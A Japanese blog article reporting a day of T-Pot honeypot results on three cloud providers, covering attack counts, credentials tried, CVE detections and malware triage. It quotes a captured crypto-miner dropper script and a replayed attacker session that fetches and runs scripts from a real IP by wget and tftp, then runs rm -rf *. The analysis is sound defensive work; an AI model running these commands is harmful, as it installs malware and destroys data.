前編の振りかえり
前編ではOSSのハニーポットであるT-PotをAWS、Azure、Google Cloudの3大クラウドサービスの日米両リージョンにデプロイしました。後編となる本記事ではT-Potを24時間程動かした結果をご紹介していきます。
T-Potの実行結果について
各クラウドサービスの日米両リージョンで収集したデータをT-Potのダッシュボードに表示した様子のスクリーンショットを以下に掲載します。なお表示期間はデータ収集を行った2024年6月12日17時から翌日の2024年6月13日17時までの24時間に揃えています。
24時間という比較的短時間かつ各リージョンで1インスタンスのみでしかデータ収集していないため統計学的な考察というよりは一参考情報としてお読み頂けますと幸いです。
検知した総攻撃数について
ダッシュボード左上のHoneypot Attacksに表示されている、各ハニーポットが検知した総攻撃数を文字起こしすると以下内容となります。
- AWS：東京リージョン
（ap-northeast-1）：38,281回 - AWS：米国東部リージョン
（us-east-1）：89,765回 - Azure：東京リージョン
（Japan East）：69,260回 - Azure：米国東部リージョン
（East US）：165,984回 - Google Cloud：東京リージョン
（asia-northeast1）：122,234回 - Google Cloud：米国東部リージョン
（us-east4）：99,149回
総攻撃数について、データ収集前は日本よりも米国リージョンの方が多くの攻撃を受けていたりするのだろうかと思っていたのですが、たとえばGoogle Cloudの東京リージョンは同じGoogle Cloudのアメリカ米国東部リージョンの99,149回を上回る、122,234回の攻撃を受けていたようです。
このGoogle Cloudの東京リージョンの122,234回という数値は、今回計測した6インスタンス中でも上位2番目であり、AWSの米国東部リージョン
サンプル数が少ないため統計学的な分析には難がありますが、少なくとも一例として、日本リージョンであっても無視できないリスクがあることを認識できます。
攻撃元の地理情報について
計測前は攻撃元の地理情報についても、もしかしたら日本リージョンは米国リージョンに比べて海外からのアクセスが少ないといった傾向があったりするのだろうかと思っていました。
ですが以下のアタックマップを見てみると、いずれのクラウドプロバイダの日米どちらのリージョンについても、世界中からアクセスされているようです。
この点でも改めて日本リージョンだからといって油断できないという認識を持ちました。
試行されたID/パスワードについて
T-PotのダッシュボードにはSSHやTelnetでのログイン試行時に入力されたIDとパスワードをタグクラウド形式で表示してくれる機能があります。
全体的にユーザ名は root 等の文字列での試行頻度が高く、パスワードは123456等での試行頻度が高いようです。またAzureの日米両リージョンとも、ユーザ名でAzureの文字列が利用されていることから、攻撃者の一部はこのIPがAzureのものと理解した上でアクセスしてきている可能性がありそうです。
Suricataが検知したCVE関連の攻撃について
T-PotではSuricataという侵入検知システム
試しにどのインスタンスでも検出されていた CVE-2002-0012 について調べてみると、 SNMP プロトコルに関連する脆弱性のようで、この脆弱性を悪用されると攻撃者に任意のコードを実行されてしまう可能性があるようです。
なお、この脆弱性の深刻度を米国国立標準技術研究所
他にも全インスタンスで共通して検出されていたCVE-2021-3449について調べてみると、これはOpenSSLに関連する脆弱性でCVSS v3のスコアは5.
攻撃に使われたマルウェアを表層解析する
さて、ここまではT-Potのダッシュボードで大雑把に全体像を見てきただけすが、ここからはもう少し詳細にクラッキングの痕跡を分析していきましょう。具体的にはCowrieというハニーポットで収集されたデータに着目します。
Cowrie は SSHやTelnetに関するハニーポットで、ログインに利用されたIDやPasswordを記録してくれたり、ログイン後に実行されたコマンドの記録、さらにはwgetやcurl等でダウンロードされたファイルやSFTP/
これらの情報はある程度の概要をT-Potのダッシュボードで見ることもできますし、さらに詳細な情報はT-Potを動かしているディレクトリのdata/
それでは、まずダッシュボード上から収集されたファイル一覧を見ていきましょう。
次の画像はGoogle Cloudの東京リージョンで収集されたファイルの一覧です。
上から順にredtail.
また、a843ac9c087f399fbf8ef10fec872a732c9cf97c2cd249566a6133a2cebdc0c1という文字列はダウンロードされたファイルのSHA256ハッシュです。
これらの情報を利用してクラッカーがダウンロードしたファイルの表層解析を行います。
表層解析とはマルウェアを実行したり、実行コードの中身を目視で分析するわけではなく、たとえばファイルハッシュなどを利用して、なるべく安全かつ手軽にマルウェアなどのファイルを分析する手法です。
そして表層解析を行う上で、とても便利なサービスがVirusTotalです。
VirusTotalは、今回のようにファイルハッシュを利用して、任意のファイルが既知のマルウェアであるかどうかを確認できるGoogleが運営するセキュリティ関連サービスです。
以下のスクリーンショットはVirusTotalで上記のファイルハッシュを検索した結果の画面です。
真っ赤な文字列で、Miner:Multi/
他の似た名前のファイルであるredtail.
またfileコマンドでファイル情報を分析したところ、このファイルはELFというバイナリ形式の実行ファイルのようです。
file a843ac9c087f399fbf8ef10fec872a732c9cf97c2cd249566a6133a2cebdc0c1
> a843ac9c087f399fbf8ef10fec872a732c9cf97c2cd249566a6133a2cebdc0c1: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, stripped
次に、図18のファイル一覧の最後にあるsetup.
以下のスクリーンショットのとおり、こちらもVirusTotalの結果としては有害なファイルと判断されています。
VirusTotal利用上の注意点
上記で紹介したVirus Totalは、今回ご紹介したファイルハッシュを使った分析だけではなく、ファイルそのものをアップロードしての分析にも対応しています。
アップロードされたファイルは他のユーザもダウンロードできるようになっているのですが、 標的型攻撃
攻撃に使われたシェルスクリプトを静的解析する
さて、ここまではファイルのハッシュ情報等を利用して表層解析を行ってきましたが上記のsetup.
setup.
どうやら前半でCPUアーキテクチャを判断した上で、前述の各CPUアーキテクチャごとのマイニング用バイナリファイルを実行するためのスクリプトが書かれているようです。
またバイナリファイルの実行後は、丁寧にも関連ファイルを削除して痕跡を消しているように見えます。
#!/bin/bash
NOARCH=false
ARCH=$(uname -mp)
if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
ARCH="x86_64"
elif echo "$ARCH" | grep -q "i[3456]86"; then
ARCH="i686"
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
ARCH="arm8"
elif echo "$ARCH" | grep -q "armv7"; then
ARCH="arm7"
else
NOARCH=true
fi
##### 中略 #####
if [ $NOARCH = true ]; then
for a in x86_64 i686 arm8 arm7; do
cat redtail.$a >.redtail
chmod +x .redtail
./.redtail ssh
done
else
cat redtail.$ARCH >.redtail
chmod +x .redtail
./.redtail ssh
fi
rm -rf redtail.*
rm -rf "$CURR"/redtail.*
ターミナルの実行ログを分析する
上記では主にダウンロードされたファイルを見てきましたが、cowrieはSSHなどでログインした後のコマンドの実行履歴が data/
たとえば実際に以下コマンドでターミナルの実行ログを再生したところ、次の操作ログが再生されました。
cowrie/bin/playlog tty/9199f8b8e36530c41568db9f3cacda5fc210d6e95ca6094a25d957591932bb23
以下が再生された内容です。
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget http://93.123.85.120/fenomenalu.sh
chmod 777 fenomenalu.sh; sh fenomenalu.sh
tftp 93.123.85.120 -c get tftp1.sh
chmod 777 tftp1.sh; sh tftp1.sh
tftp -r tftp2.sh -g 93.123.85.120
chmod 777 tftp2.sh; sh tftp2.sh
rm -rf *
この履歴の2行目で実行されているwgetによるファイルダウンロード先のURLについて、有害なURLなどを調べられるURLhaus というサービスで検索したところ、以下のようにマルウェアをダウンロードするためのURLであることがわかりました。
また同じIPの93.
tftp 93.123.85.120 -c get tftp1.sh
chmod 777 tftp1.sh; sh tftp1.sh
tftp -r tftp2.sh -g 93.123.85.120
の処理も、当然悪意のある目的でのダウンロードと思われます。
さらに実行履歴の最後の行まで読み進めると、上記URLから有害と思われるファイルをダウンロードして実行した上で、rm -rf *で関連ファイルを削除して痕跡を消しているようです。
https://urlhaus.abuse.ch/url/2886046/
おわりに
今回の簡易調査では、3大クラウドサービスの日米リージョンにそれぞれ1インスタンスずつ、合計6インスタンスで24時間程T-Potを動かしました。サンプル数が少ないことから統計学的な分析ではありませんが、日本リージョンであってもセキュリティ対策をきちんと行わなければならないなという危機感を持つことができました。考えてみればこれは当然のことではありますが、より強い危機感をもてたことは今回の簡易調査の1つの成果かと思います。
さらにSuricataを用いた分析では既知の脆弱性
また、Cowrieで収集されたデータを分析することで、クラッカーがセキュリティ対策の甘いサーバに対して容赦なくマイニング目的と思われるマルウェアを仕掛けようとしている様子も確認できました。
これらの攻撃に備えるためには、OSやソフトウェアのアップデートを徹底し、サーバの設定を常にセキュアな状態に保つことが重要です。
また、今回例に挙げたクラウドサービスを利用する場合は、たとえばGoogle PlatformではCloud Runなどのサーバレスアーキテクチャを適切に利用することで、セキュリティを向上させながら管理コストを削減することもできます。
そのため、セキュリティを意識したアーキテクチャ選定を行っていきたいですね。